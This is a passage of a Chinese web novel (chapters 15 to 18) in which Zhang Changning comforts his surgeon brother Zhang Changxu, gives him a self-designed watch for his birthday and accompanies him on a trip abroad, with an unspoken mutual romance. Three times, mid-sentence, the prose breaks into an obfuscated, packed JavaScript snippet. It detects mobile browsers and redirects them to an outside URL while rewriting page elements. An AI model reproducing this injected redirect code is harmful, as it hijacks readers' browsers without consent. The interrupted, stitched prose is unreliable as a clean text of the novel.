章长宁借机撤开两人的距离,用指腹按压在了章长叙凸跳的太阳穴上,“你这是太累,压力太大了,早知道你当医生这么辛苦,当初就该和爸爸一起劝你从商。” 章长叙听见这话,难得扯出一丝笑容,“你以为像大哥、延枭那样从商就不辛苦?而且,当初是谁想让我当医生的?” “嗯?” 章长宁没反应过来。 章长叙说,“你小时候骨折那次,睡梦中迷迷糊糊往我怀里钻,还说要我当医生。” “……” 章长宁是真不记得这事了,眨巴了一下眼睛,有些不好意思,“我小时候睡迷糊说的话,你怎么还当真了?让我要是胡言乱语让你去当警察,你也去啊?” “也不算。” 章长叙感受到力度适中的揉压,心情总算好了些,“虽然是你在我这里种下了‘医生’这个职业的种子,但这份职业在后来确实是我自己的选择、是心之所向。” “嗯哼。” 章长宁到这时候了还不忘嘴甜,“我二哥从小就厉害,做什么都能成功,以后肯定能成为华国数一数二的脑科专家。” “好了,少往我头顶戴高帽了。” 章长叙止住他按压太阳穴的手,“我好多了,你别费力气了,回房间洗漱然后早点休息吧。” 再沉重的事,总要翻篇。 他们当医生的,肩负的从来不只有一位病患的安危。 章长宁看了看时间,“都快十二点了,那你也早点洗漱休息。” “好。” … 窗外恼人的雨声终于消失了。 洗漱完的章长叙只留了一盏昏暗的地灯,准备上床休息,忽然间,没有上锁的房门再次被人从外部打开。 换上睡衣的章长宁探进来一个脑袋,“二哥?你要睡了吗?” 章长叙正往床上坐着、还没躺下,“嗯,怎么了?” “没事。” 章长宁摇了摇头,“那你今晚好好睡,别不开心。” 章长叙看穿章长宁的意图,眸光微晃,语气顺势也低了些,“就怕躺下后还想着那件事,今晚估计睡不好。” “啊?” 章长宁下意识地推门而入,想也不想就问,“那我再陪你说说话、转移一下你的注意力,等你有睡意了我再走?反正我明天休息。” 章长叙拍了拍空着的半边床,简单两字,“过来。” “……” 章长宁这才意识到自己又一次越了界,但转念还是觉得章长叙的心情更重要,迟疑了两秒还是关门走了过去。 两人躺在床上,虽然盖着同一被子,但隔了些距离。 章长叙特意将地灯的光线调暗了一个度,侧身看向章长宁,“今晚没能陪你一块吃晚餐,会不会不开心?” 章长宁偏头看他,“不会啊,本来就是打算提前一天给你过生日的,欸,对了,你真不饿啊?” “进浴室时洗漱前吃完了你做的鸡蛋羹。” “你吃啦?”章长宁有些惊喜,也侧过身问他,“味道怎么样?我只会这些简单的。” 章长叙鼓励他,“好吃,你有下厨的天赋。” 章长宁就喜欢听夸奖,偷乐了一声,“那下次我再给你做别的,就从简单的做起,还有给爸妈也尝尝。” “好。” “二哥,你头还疼吗?” “还有点。”章长叙也不藏着,还特意将上半身往章长宁的方向探了探,“小章医生,再替我揉揉?说不定我就睡着了。” “……” 这句“小章医生”总有些说不出的调侃,听得章长宁耳根子发热。 他盯着近在咫尺的章长叙,有些慌乱地滚动了一下喉结,“哥,你别取笑我。” “没,是真的还在疼。” “喔。” 章长宁压住心头那点躁动,伸手又一次替章长叙揉上了,“这力度行吗?” 章长叙假意合上眼,“行。” 昏暗中,一切都静悄悄的,唯有延绵的呼吸声成了主旋律。 章长宁闻着被子以及周围熟悉的气息,困意不知不觉就钻了上来,他揉压着的指尖开始有一搭、没一搭地缓了下来。 意识朦胧间,他忽然觉得腰上一重,迷迷糊糊地睁眼才发觉自己已经落入了章长叙的怀抱,“嗯?二哥……” “困了?” “嗯。”章长宁挣扎着想要抬起眼皮,又实在流连这一熟悉的睡觉环境,“我、我回房睡。” “别折腾了,就在这儿睡吧,没事。” “……” 章长宁被强烈的困意拉扯,哼着问话,“过、过凌晨了吗?” 章长叙拍着他的后背哄睡,温柔回答,“过了,第二天了。” “……” 章长宁已经忘记了挣扎。 半睡半醒间,他习惯性地手脚并用地缠上了章长叙,用尽最后的一丝力气呓语,“哥,生日快乐,别……难过,我、陪你呢。” 章长叙心底的最后一丝情绪堵塞因为这句话而彻底疏通,柔软得一塌糊涂。 “宁宁。” 他克制再三才抬了抬头,唇侧似有若无地贴上了缠绕的发丝,“那明年还陪不陪我?” 章长宁没听清,胡乱回答,“嗯。” 章长叙抱紧他,“好,我记住了。” 16.【第016章】 章长宁再度醒来时,已经快十点了。 床边没了章长叙的身影,反倒是浴室里传来了淅淅沥沥的水流声,不一会儿,对方就穿戴整齐地走了出来。 章长宁驱赶着残存的睡意起身,“哥?” 章长叙走近,“醒了?睡得很好吗?” “嗯,挺好的。”章长宁伸了个懒腰,又扬起脑袋来看他,“你呢?头还疼吗?还有没有不舒服的地方?” 章长叙冲他浅浅一笑,“没有,我很好。” 他打开电动窗帘,外面再不是昨晚的雷电交加,而是一轮灿烂的晴光,热烈地替他们驱赶着昨日的阴霾。 章长叙又回到了往日那个遇事冷静、内敛的章医生,再也看不出昨天深夜里的疲惫和痛苦。 章长宁认真盯着他的脸,仿佛要看穿一个洞。 “好了,我真没事。”章长叙明白他藏在目光下的担忧,“人不可能停在原地伤怀,我是一名医生,我手底下的患者不止一位。” 他得打起精神,才能为更多病患负责。 “不过……” “不过什么?” 章长叙弯下腰,带着热度的掌心轻轻褚压在了章长叙凌乱的小卷毛上,“昨晚多亏了有你在,原来在我不知道的时候,我们宁宁已经学会了这么多事。” 等在医院的门口,下雨天替他撑着伞,开车带他回家,下厨替他做吃食,倾听着他的无奈,也治愈着他的痛苦。 章长叙自诩独立,几乎不需要依附于任何人。 可昨晚的章长宁是他的支撑、是他的退路、也是他的依靠,如果不是对方第一时间接住“下坠”的他,他或许没那么快疏散负面情绪。 “宁宁,谢谢你陪我。” “……” 章长宁怔了两秒,不由自主地搭上章长叙的手腕,“哥,我们之间不说谢谢。” 只要能被章长叙需要、能替对方分担哪怕只有一秒的痛苦,他都觉得格外的满足。 章长叙又笑了声,“我午饭就不在家里吃了,昨天那台手术的后续报告还得去医院收个尾,下午还有其他工作。” “嗯。” 章长宁点了点头,有些纠结,“看来你今天是彻底没时间吃生日大餐了。” 章长叙倒是不在意,对他来说—— 今年能在零点收获章长宁的生日祝福、能在新岁的第一天能见到章长宁,就已经很好了。 “生日年年过,明年你再给我补上?” “嗯哼,明年?”章长宁眸光一闪,玩笑回答,“那明年的生日是得好好过的,二哥,这一眨眼,你明年就满三十岁了吧?” 章长叙听出他话里的微妙,纠正,“是虚岁。” 章长宁打趣,“三十岁呢,老……” “老什么?” 章长叙顺势掐了掐他软乎的脸颊肉,制止了眼前人不必要的开腔。 章长宁像是发现了什么新大陆,抱着被子笑开,“二哥,原来你也挺在意年纪的嘛~明年三十岁怎么了?” “要我说,三十岁的男人正是最有魅力的年纪!” “好了。”章长叙由着他玩笑掰扯,“你回房洗漱、然后下楼吃点东西,我先去医院了。” “欸!等等!” 章长宁像是想起了什么,“我有生日礼物要给你!” 说着,他就赤脚下床、绕过章长叙就往自己的卧室跑。 章长叙眉心微蹙,想也不想就跟上,“章长宁,别光脚,穿拖鞋!” “不凉!” 章长宁小跑着,只远远地回应了他一句。 等到章长叙跟到他的卧室门口,章长宁就已经从自己的柜子里拿出来一个全黑的方块盒子,“二哥。” 他转身对上章长叙的视线,带着点说不上来的期待和紧张,“喏,给你的,打开看看?” 章长叙轻易看穿他眼中的情绪,嘴角弯了弯,“你送我的礼物,怎么看着比我还要期待?嗯?” “期待看到你见到礼物第一眼的反应。” 章长宁也不瞒着,催促声中带着一丝撒娇,“哎呀,你快点的。” 章长叙打开颇有重量的黑色盒子,发现里面妥帖放置着一块手表—— 表盘整体呈现是黑灰色,内嵌了无数深蓝色的碎钻,而里面指针的造型居然是医用听筒的两头,只是尺寸迷你化了。 此刻的指针正在按部就班的跳动,发出极其轻微的转动声响。 “……” 章长叙眸光微亮,“宁宁,这块表你是从哪里买来的?花了多少钱?” 他看得出这块腕表造价不菲,但一时没认得出这块表出自什么牌子。 章长宁没有正面回答,“二哥,你戴上试试呗?” 说着,他还主动伸手取表,兴致高涨地替章长叙试戴,“嗯,看来我的手感估算没错,正表带给你也正合适,好看吗?” “好看。” 章长叙实话实说,但眉心掠过一丝担忧,“不过我在医院工作,恐怕日常不方便佩戴。” “哥,我知道你担心什么,你放心吧,这表不算奢侈品牌的系列,谁也挑不出你的错处。” 章长宁越看越满意,“这是我自己设计的稿子,去年托人脉特意找到了钟表名匠给你定做的,我还厚着脸皮参与了其中一点点的步骤,这表这个世上独一无二呢。” “不过,那位老师傅排期很满、工期很慢,去年生日根本没赶上,我今年年初才拿到,想着反正都等了这么长时间了,干脆就当今年生日礼物送给你。” “……” 章长叙盯着这块腕表,心头触动。 章长宁还当他是在犹豫价格,又说,“是花了一些钱,不过你日常白大褂一遮,别人也看不见啊,你不喜欢吗?” 问到最后几个字时,语气明显低了些。 他从来没乱花章家给的零花钱,这块订制腕表是他用奖学金、以及帮忙接艺术展等等工作所攒下来的。 毕竟章长叙已经参加工作了,他不好意思再送以往那些小孩子气的礼物。 章长叙感知到他的情绪落空,连忙稳妥接住,“不,我很喜欢,特别喜欢。” 章长宁又笑开了,“二哥,你要实在觉得日常工作不方便戴,那就先收起来,以后有合适的场合再戴也行。” 章长叙其实舍不得摘,只说,“今天我生日,就先戴着吧。” 他摩挲着表盘,忽地想起章长宁刚才的那句“独一无二”,明知故问,“你没给大哥也定制一块?” “……” 章长宁心虚,随口一扯,“大哥他自从上了大学后,哪样东西不是大嫂给他买的?我操什么心?” 章长叙极少地挑了一瞬眉梢,却没忍住笑,“也是。” 章长宁对上他的目光,忽然意识到了什么,一股燥热由内而外散发出来,“我……” 话才开了头,又因为词穷卡壳。 章长叙很有分寸,没在这个话题上深入逗他,只是从表针转动的轻微声响中察觉了什么,他抬手将腕表贴近耳畔—— 一下,两下,三下。 似乎有什么答案呼之欲出。 章长宁生怕自己暗藏的小把戏被拆穿,并不高明的打断,“二哥,你干什么呢?快十一点了,你还去不去医院了?” “……” 章长叙放下手,想了想才应下,“嗯,那我先去医院了。” “好,拜拜,路上开车小心。” “嗯。” 章长宁眼看着章长叙一如往常地下了楼,什么都没有多问,那颗强烈跳动的心脏才有了渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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问话声不算轻,引得边上其他医生也纷纷投来了视线。 章长叙难得会享受这样的目光注视,故作平静,“别人送的定制,生日礼物,心意最重要。” 陈勋八卦,“谁啊谁啊?” 有其他医生接话,“章医生这是谈恋爱了?” 要数起京一医院的医生颜值排名,那章长叙是绝对排得上号的,他刚来医院那会儿,天天应得不少小护士在休息间隙来瞧。 章长叙只说,“工作忙,哪有时间?” 身为女性的凌医生问,“那就是心上人送的?” 恰时,电梯到了他们的楼层。 章长叙只说去食堂吃饭吧,轻松掀过了这个话题,却也没否认。 … 吃饭间隙,章长叙的手机震动了两下,打开一看是家庭群发来的消息。 在临省的沈眠还记着今天是二儿子的生日,特意发来的生日祝福,引得章渡、章长风等其他家庭群员纷纷跟上。 章长风还在国外没回来,主动问,“长叙,你有没有什么想要的?我回国给你带上?” 章长叙回答,“不用了,不缺。” 打字时,他的余光又瞥见了腕表的一角,说不上为什么,突然心情很好。 于是他破天荒地打开了微信的照相功能,露出完整的腕表,咔嚓一张,发回了家庭群,绝对没有要炫耀的意思: “小弟给我送的生日礼物,他亲自设计、找人给我定制的。” 章渡:好看。 沈眠:你们小弟的眼光好,审美好。 苏阳身为大嫂也夸:小弟毕竟学艺术设计的,能力在线呢[摸摸脑袋.JPG] 章长宁被夸得在群里冒泡泡:[小猫转圈.Gif] 只有身为大哥的章长风与众不同,酸里酸气地问:小弟,你怎么不给我定制一块? “……” 从小就“歪屁股”的章长宁心虚,顷刻又玩起了躲猫猫。 章长叙默默看着家庭群里的消息,越发觉得这个生日过得不错。 17.【第017章】 转眼又是一个半月过去。 章长宁正式投资了柏续手底下的陶艺工作室,成为了工作室的艺术总监,他借用自己的人脉替工作室揽了不少大额定制单,也算是将副业稳定了下来。 章长叙还是一如既往的忙碌,有时候一上手术台就是大半天,回家吃了饭、沾床就睡。 章长宁刚洗漱完,就听见了卧室外、楼梯上传来的脚步声。 他想也不想就断定了上楼的人,连忙打开房门喊,“二哥!你回来啦?” 章长叙正巧上了楼,停下步伐和他对望一眼,“嗯。” “吃过了吗?” 章长宁走近关切,“要不要叫赵姨再下厨给你做点?” 章长叙摇头,用眼神示意章长宁跟上,“不用了,我今晚和科室同事简单约了个便饭,还得抓紧时间收拾行李。” 章长宁像个小尾巴地跟着章长叙,杵在他的房间门口,“收拾行李?二哥,你要去哪里?” “新国,有个学术会议。” 新国第一脑科肿瘤医院接收到了一例特殊病例,经过大半年的研究讨论,终于确定了最终的手术方案。 因为这项手术很具有医学研究性,新国那边经过权威的医学申请,将会小范围的、秘密直播这场手术的进行,并且后续还要进行各种研讨。 受邀参加的医生来自各国,帝京中心医院的副院长和神经科室主任拿到了名额,顺带就点名了章长叙。 虽然无权观看手术直播学习,但后续的研讨会他能旁听。 这对于他这种年龄资质的医生来说,已经是很难得的机会了。 “后天进行那台手术,大后天才是术后研讨会。” “不过,任主任那边的意思是,我连轴转了大半个月,正好借机多给我两天假,本来是后天的航班,但我打算提早一天去新国。” 章长宁立刻领悟了章长叙的意思,“哥,你要提前去找三哥?” 原本“装昏迷”商延枭为了避开商家其他人不间断的试探,特意使了点办法,将自己“转移”到了新国“继续治疗”。 这不陪着他一块去的,还有柏续。 章长叙没否认,“嗯,提前一天过去看看,毕竟商老爷子那边,我还得尽量替延枭他们多瞒一阵。” 章长宁点了点头,主意说来就来,“二哥!我现在就订机票,明天和你一块去好不好?” 章长叙一愣,“你也去新国?” “对啊,我朋友在新国有巡回艺术展,前段时间就邀请我有空去玩玩,现在既然你要去,我正好和你凑个伴,顺带还能见见柏续~” 章长宁越想越觉得可行,“我签证还在有效期呢!” 章长叙没拒绝,“我这次去空闲时间不多,没办法陪你玩。” 章长宁了然,“没关系!你工作,我不会打扰你的!二哥,我们真的已经很久没一块出门了~” 说到最后,尾音还带着一丝撒娇的意味。 章长叙嘴角微扬,“好吧。” “那我去收拾东西?”章长宁来了精神,旋即就犯了难,“话说新国现在什么温度啊?我要带……” 话还没来得及说完,章长叙就温柔打断,“你去订机票,所有东西我来收拾,待会儿有什么漏了,你再来补充。” 原本他只想着带两套换洗衣物,既然临时加上了章长宁,要带的、要备上的东西就多了。 章长宁想也不想,“好!” … 次日傍晚,新市国际机场航站楼。 商延枭提前得知了好友要来的消息,带着柏续一块赶来接机。 飞机准时落地,等到章长叙推着两只大号行李箱出现时,立刻就接收到了柏续诧异的视线和询问。 “你们俩不是只来三四天?用得着带这么大的箱子?还两个?” 章长叙淡定将问题推了回去,“箱子里大部分都是小宁的东西,你问他。” 柏续问,“你带什么了?” 章长宁认真想了想,“应该也没什么吧?都是必需品?” 章长叙眸底带着点打趣,难得拆台,“他睡觉认床,每次外出都要带上睡觉用的抱枕、床单、被套,怕酒店房间的香薰味道不习惯,还要带上自己惯用的香薰制品。” 他顿了顿,习以为常地点评,“从小到大就是个麻烦精。” “……” 麻烦精? 听你章医生的语气,好像没嫌麻烦,还乐在其中? 柏续看破不说破,默默给精致生活的章长宁比了个大拇指。 章长宁有些不好意思,连忙找补,“二哥,分明都是你收拾的,你少当着柏续的面嘲笑我。” 难得没了在医院工作的紧迫感,章长叙心情不错,又驳了一句,“谁指挥的?” “……” 章长宁大败,不接话了。 好在商延枭及时下车,帮忙转移了话题。 … 虽然商延枭暂时不太方便露面,但好在有了柏续这位“盟友”,两人在新国注册了新公司,前阵子才拿下了一个大项目。 有朋自远方来。 作为东道主的商延枭让人在家中备上了丰盛的晚餐,特意接待章长叙和章长宁。 海鲜的香气溢满了整栋别墅。 章长宁迫不及待地就拉着章长叙坐了下来,“二哥,快点!” 管家询问商延枭,“商先生,需要开一瓶红酒吗?” 章长宁抢先回答,“要!” 话音刚落,他的后脑勺就收到了章长叙的“爱的教育”,力度不大,只是提醒,“你是客人,别没大没小。” 章长宁嘟囔,“三哥又不是外人。” 商延枭笑着说了声没事,却将挑选红酒的权利直接交到了柏续的手上。 章长宁没注意到对面明显暧昧互动的两人,眼巴巴地盯着桌上的虾煲,“二哥,这虾肉看着很嫩。” 章长叙察觉到了好友和柏续之间的气氛,却也没多留注意力,而是忙着回应章长宁,“待会儿我给你剥。” “好。” 四个人都算是彼此熟悉,一顿饭吃得还算欢乐。 管家见这顿饭局差不多到了尾声,才问,“两位章先生今晚是要住在这里吗?” 章长叙说,“我们订了酒店,在市区。” 柏续确认了一下时间,“这都快九点了,要不你们今晚别折腾了,就住在这里?” 商延枭觉得柏续说得没错,干脆吩咐佣人去收拾客卧。 佣人问,“家里就剩下一间客卧了,两位先生住在一起可以吗?” “啊?” 章长宁忙着喝完最后一口酒,脸颊被酒意蕴得发烫,他看向边上的章长叙,一时有些拿不准主意。 如果说是“亲兄弟”睡在同一张床,自然是没什么关系,可他心里藏着不该有的感情,面对这种事情难免心虚。 正想着,章长宁的余光就瞥见了对座的柏续,脱口就问,“柏续,要不我们俩今晚挤挤一块睡!我也没那么认床!” 柏续似乎是点了点头,还没等张口回答。 身边的章长叙和斜对面的商延枭就异口同声,“不行!” 两人的拒绝声不算重,但声线叠加在一块,威慑感简直翻倍。 “……” 章长宁被吓得一激灵,下一秒,他的背后就传来了章长叙熟悉的安抚,“你今晚就跟我睡,别瞎折腾。” 不是? 怎么就瞎折腾了? 他和柏续睡一块怎么了? 章长宁本来就喝得有些迷糊,脑子里冒出无数个疑问泡泡,但最终还是没了反驳追问的心思,“哦,好吧。” 斜对面的商延枭松了口气,快速敲板,“那就这么定了,你们两兄弟今晚住这儿,明天正好方便一块去医院。” “行。” … 入夜。 章长宁洗完澡出来时,章长叙刚替他摆好安眠香薰。 章长叙率先开口,“床单四件套都在另外一个箱子里,管家没有拿上来,我现在去拿?” 章长宁哼唧着摇了摇头,“算了吧,反正就一个晚上,明天收拾起来也麻烦。” 他爬到自己更习惯的床右位,眼里沾了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996841|143596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丝酒意,“我今晚喝了不少酒呢,应该没那么难睡着。” 章长叙走近,将一早就准备好的解酒药递了上去,“宁宁,把解酒药吃了再睡。” 章长宁蹙了蹙眉,有些不情愿,“我没喝多。” “就一粒,乖。” 章长叙哄他,干脆将药贴上了他的嘴边。 微凉的指尖似有若无地触及到了嘴唇,带着一种奇异的酥麻。 “……” 章长宁呼吸有点烫,本能的反应快过于大脑的思考,他张口含住指尖的那粒药,“唔。” “……” 章长叙眼色暗了一瞬,及快收手,然后顺势将温水递了上去,“喝掉。” 章长宁来不及去想这声急促的语调,忙着将这粒微苦的解酒药就水吞掉。 “好了。” 他蹙着眉心等苦味消散,然后自顾自地钻进了松软的被窝。 章长叙不动声色地捏了捏自己的指腹,绕坐在了床左侧,“那你先试着酝酿酝酿睡意?真睡不着我再下楼给你拿,反正今晚褪黑素是不能吃的。” “嗯。” 章长宁侧身卷了卷被子,习惯性地埋了小半张脸,“二哥,你陪我说说话吧?” 小时候全家外出旅游,他睡不着的时候,就很爱听章长叙给他讲故事。 章长叙看向他,“想说什么?” 章长宁这会儿脑子比饭桌上清醒些,旧事重提,“我想和柏续一块睡,你和三哥为什么都说不行?刚刚吓我一跳。” “……” 章长叙停顿了两秒,推出好友给自己挡枪,“你没觉得,你三哥和柏续之间不太一样?” “不太一样?” 章长宁琢磨着这四个字,领悟能力很在线。 他顷刻瞪大眼睛,一脸吃到八卦地往章长叙的身边挪了挪,“二哥,你是说三哥喜欢柏续?我天哪~” 章长叙听见他的语调,暗笑,“就这么惊讶?” “当然!” 章长宁小鸡啄米地点头,忍不住吃瓜偷笑,“我也觉得呢,三哥现在上哪里都带着柏续一块,什么事都和柏续商量,这和以前完全不一样~” “原本我还想象不出三哥会有什么样的女孩子在一起,现在一想到是柏续——” 虽然这性别是变了一下,但真爱从来不讲究性别。 章长宁笑了声,“我还觉得他们俩挺合适。” 这会儿没有外人,章长叙也偷偷开起好友玩笑,“原本以为商家奶奶是乱点鸳鸯谱,没想到还真误打误撞上了。” 章长宁越想越乐,“你说,三哥知道我们俩在悄悄‘蛐蛐’他们吗?不知道他们进展到哪一步了?要不明天我偷偷问问柏续?” “估计是还没正式在一起。” 章长叙虽然不够认识柏续,但绝对了解商延枭。 就冲商延枭和柏续在饭桌上暗戳戳的互动,绝对还在暧昧拉扯期。 “他们的事他们自己看着办,你就当不知道,别掺和。” “嗯,我知道,我不问。” 章长叙替他拢了拢被子,“还不困啊?” 章长宁这会儿离章长叙近了些,他吸了吸鼻子,嗓音软了点,“好像是有点困了,哥,你还不躺下睡觉吗?” 章长叙顺势往下躺了些,“怕你睡不着,还得下楼拿行李箱。” “……真不用。” 章长宁眯了眯眼,不知不觉就打了个哈欠。 他想起章长叙临行前替他收拾的一大堆用品,心头涌上说不清、道不明的眷恋,“二哥,其实你不用替我收拾那么多东西的,我也没那么认床。” 语调又缓了些,看起来是真困了。 章长叙暗松一口气,干脆彻底躺了下来。 他揉了揉章长宁的后脑勺,隔着被子拍着对方的后背哄睡,“是吗?长大了就不认床了?” 章长宁被困意裹挟着合了眼,有句话堵在嗓子里将出未出,“二哥……” “嗯?” “……” 有你在就行了。 有你在,我就不认床了。 18.【第018章】 也许是酒意发挥了作用,也或许是充斥着身边人的气息,章长宁这一觉睡得意外的沉,等到再醒来时,居然已经是下午一点了。 “……” 客卧里面已经没有了章长叙的身影。 章长宁这一觉睡的时间太长了,脑袋还有些发晕,连忙坐起来缓了缓,床头柜上备着一杯水,应该是章长叙离开前给他准备的。 章长宁喝了大半杯,缓解了干渴的喉咙,这才进了卫生间洗漱。 章长叙给他留了微信消息,对方一大早就和商延枭出了门,应该是有些正经事要处理。 滋滋。 又一条消息冒了进来,是朋友安德鲁发来的。 “宁,不是说昨天就到新过了吗?今天还来不来我的艺术展?就等你呢。” 对方正在进行个人怪诞艺术展的全球巡展,新国新市是他以及整个团队的第一站。 章长宁今天的安排本来就是逛展见朋友,于是飞速回复:“去,等到了我再联系你。” 消息发出的一瞬间,章长宁就有了一个同步的想法,他找到柏续所在的卧室,礼节性地敲了敲门。 柏续的声音传来,“门没锁,进来吧。” 章长宁推门而入,不自觉地观察了一下卧室的环境—— 他才发现卧室内侧居然还有一面单扇小门,看样子,后门应该是直通商延枭的卧室? 啧啧。 章长宁似乎是发现了什么新大陆,眉梢挑了挑。 原本还以为三哥和柏续是各睡各的,现在看来,这大晚上一时兴起串门倒是也挺方便的?不简单,真不简单。 “睡醒了?” 柏续察觉到好友的视线偏移,出声提醒,“你昨晚没喝醉头晕吧?” 章长宁回答,“还好,睡前我二哥就给我吃了解酒药,你在忙啊?我是不是打扰打你了?” 柏续说,“还好,我正打算休息。” 章长宁听见这话,直奔重点邀约,“那你要不要和我一块去看我朋友的艺术展?” 柏续接下来没什么要紧事,商延枭出了门又还没回来,他几乎不多做思考就答应了下来,“好啊,等我换件衣服。” “嗯。” … 艺术展举办地点在市中心。 章长宁带着柏续认真地将几个展厅依次逛完,这才见到了许久未见的好友安德鲁。 “安德鲁,你这是从哪里回来?我还以为我远道而来,你会站在门口邀请我呢。” “是我的错,今天开展第一天,太忙了。” 安德鲁夸张地比了一个绅士礼的道歉,指了指天花板,“我在楼上的酒吧包了场,很多朋友和宾客都在。” 他笑着发出邀约,“你们俩要不要也上去喝一杯?” 章长宁闲着没事就爱喝点鸡尾酒,面对这种邀请自然动了心,但他记着随行的柏续,还是先征询了他的意见,“柏续,要去吗?” 柏续想了想,“你哥他们还要多久?” “还没吱声呢,估计是有事耽搁了,不过他们结束了肯定会来找我们,我把具体地址发给我二哥了。” 章长宁立刻拿出手机编辑报备短信,然后才拉住了柏续的手腕,“走吧?我们上去坐坐,浅喝一两杯就好。” 柏续没拒绝,“行吧。” 安德鲁顺势做出一个邀请手势,“请吧,两位贵客。” … 章长宁留学生活的这几年间,早就习惯了这种动不动就开派对庆祝的热闹氛围,他长得精致好看,对外的性格又活泼大方—— 这不,他才进酒吧没多久,就轻易成为全场的焦点。 反倒是柏续不太适应这种震耳朵的喧闹,简单喝了两杯威士忌后就遁到外面的阳台吹风躲清静。 章长宁目睹着好友的身影离开酒吧,还没等回神,就又有一道身影主动坐在了他的身边,“宁,好久不见,还记得我吗?” 来人是很典型的欧美长相,算得上英俊的那一挂。 章长宁在脑海中搜寻了一遍,是有些眼熟但想不起来,“不好意思,请问你……” 对方似乎瞧出了章长宁的为难,却没有露出任何不满。 他主动伸手,“你好,我叫欧威,是安德鲁的朋友,是做广告相关的,他这次的展会推广就是由我负责。” “前年在他的生日派对上,我们见过一面,不过那会儿太匆忙了,就没来得及打招呼。” 章长宁多出点印象,大方伸手回握,“好像是,你好。” “早就想认识你了,没想到能在这里又遇见。”欧威握手的力度紧了紧,凑近了些问他,“这算不算是缘分?” 他身上的香水味是薄荷,和他的攻势一样浓烈。 “……” 章长宁不着痕迹地拉开了两人的社交距离,举杯玩笑,“应该说,我们俩分别安德鲁有缘,要不怎么都在他当主角的派对上见面?” 欧威怔了怔,旋即笑开,“宁,你比我想象中得更有趣。” “是吧?” 章长宁假装没听懂他的意思,耸了耸肩,饮下一口酒,“大家都说我性格有趣。” “追你的人很多?”欧威却出其不意地打起直球,“你是Gay吧?” “……” 章长宁没料到他这么直接,一口威士忌不慎呛在喉咙里,顿时咳嗽个不停。 欧威连忙给他递上纸巾,“抱歉,吓到你了?” 说着,他还主动伸手去给章长宁拍背顺气。 章长宁呛红了一张脸,忙着咳嗽,迟了好半天才顾得上拒绝对方的照顾,“没事,不小心喝急了。” 不过他心里还是默默念叨了一句:你们广告圈还真是十个里面有九个是同。 欧威及时收回手,“你还没回答我的问题?虽然我坚信我的眼光不会出错,但还是想要听你亲口确认一下。” 章长宁已经很习惯面对这样的“交际”,“确认过后,你想做什么?” “我和安德鲁不一样,玩不了冲动的一夜情。” 欧威表明自己的立场,又说,“但我很喜欢你的长相、也欣赏过你之前的艺术作品,如果可以,我想邀请你和我约会?” 章长宁看得出欧威不是在开玩笑,说实话,对方不是第一个说要追求他的男性。 在他之前,还包括安德鲁在内的许多人,可从始至终,章长宁的答案就都是否定的。 毕竟心里装了一个这辈子都得不到的人,在这份错误的执念还没有消散前,他实在做不到和任何一个人开始恋情。 这是对其他追求者的不尊重。 章长宁开了开口,“抱歉,我……” 欧威惊讶,“你这么快就要拒绝?难道是你有对象了?” 章长宁摇了摇头,揶揄,“我是Top,你让吗?” “……” 这下子,沉默的人轮到了欧威。 他用不可置信的眼神将章长宁从头到脚扫试了一遍,然后似乎很无奈地表示,“宁,你这拒绝的借口是真的很烂。” 章长宁笑开,“抱歉,那我自罚一杯。” 欧威和他碰了碰杯,“待会儿加个联系方式?将来你要是改主意了,随时可以联系我。” 章长宁没有吊着他,只说,“当朋友的话,联系方式是可以加。” 欧威明白了他的意思,感叹,“宁,你比我想象中有趣了不止一点儿,能和你交上朋友,我很开心,干杯~” ——砰! 章长宁一饮而尽,还是笑着,“能和你这样的大帅哥交朋友,我才应该开心。” 欧威被他简单几句话就带动了心情,跟着笑开。 不过眼尖的他很快注意到了酒吧门口的身影,似有察觉地问,“对了,那人你认识吗?好像从刚才起就在看我们这边。” “谁啊?” 章长宁下意识地循着欧威的提醒看去,意料之外地对上了再熟悉不过的身影。 酒吧顶灯杂乱萦绕,模糊视线。 可章长宁却将章长叙投来的目光看得很真切,他连忙起身,只丢下一句“欧威,下次再聊!”就小跑到了酒吧门口。 “二哥!你什么时候来的?” 章长宁往外面望了望,“三哥呢?他没和你一起来吗?我还想着我们四个人晚上一块吃饭呢。” “晚上一块吃饭?” 章长叙瞥了一眼酒吧内嘈杂的环境,其中还不乏有俊男美女贴身热舞。 不知怎么,他脑海中又回想起了刚才和章长宁热聊的那个外国男人,情绪顿时闷了些,“我看你喝酒喝得挺开心的。” “……” 章长宁察觉出这声语气的不对劲,立刻心虚,“没啊,我今天没喝多少,等你来接我呢。” 章长叙只说,“你想要继续玩也可以,我先走。” 说着,就转身朝着楼道的电梯走去。 “二哥!我错了!” 章长宁这会儿也顾不上柏续在哪儿、商延枭来没来了,眼巴巴地就跟在章长叙的身后,“你别生气了,我今天不是和你报备过了吗?” 章长叙走进电梯,“单方面发微信那叫知会,不叫报备。” 章长宁哼哼跟上,“你怎么还揪字眼呢。” 章长叙按下负二楼的按键,故意没和他搭腔。 “……” 章长宁从小到大最怕章长叙不吭声的样子,冷冰冰的,吓人。 他自知理亏了些,一脸认怂地跟着章长叙回停车场,结果一抬头,就看见了不远处被商延枭强制带走的柏续。 欸? 他们又是怎么回事? 章长宁当即就想要凑上去,“柏续,欸——” 话还没来得及说完,章长叙就揪住了他命运的后脖颈,“回来。” 章长宁重心不稳地往后一跌,却稳稳撞进了章长叙的怀中,他懵逼地眨了眨眼,“二哥,你干嘛?” 章长叙反问,“是你要干嘛?” 章长宁眼睁睁地看着对方的车子扬长而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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章长叙系安全带的手一顿,“落哪里了?” 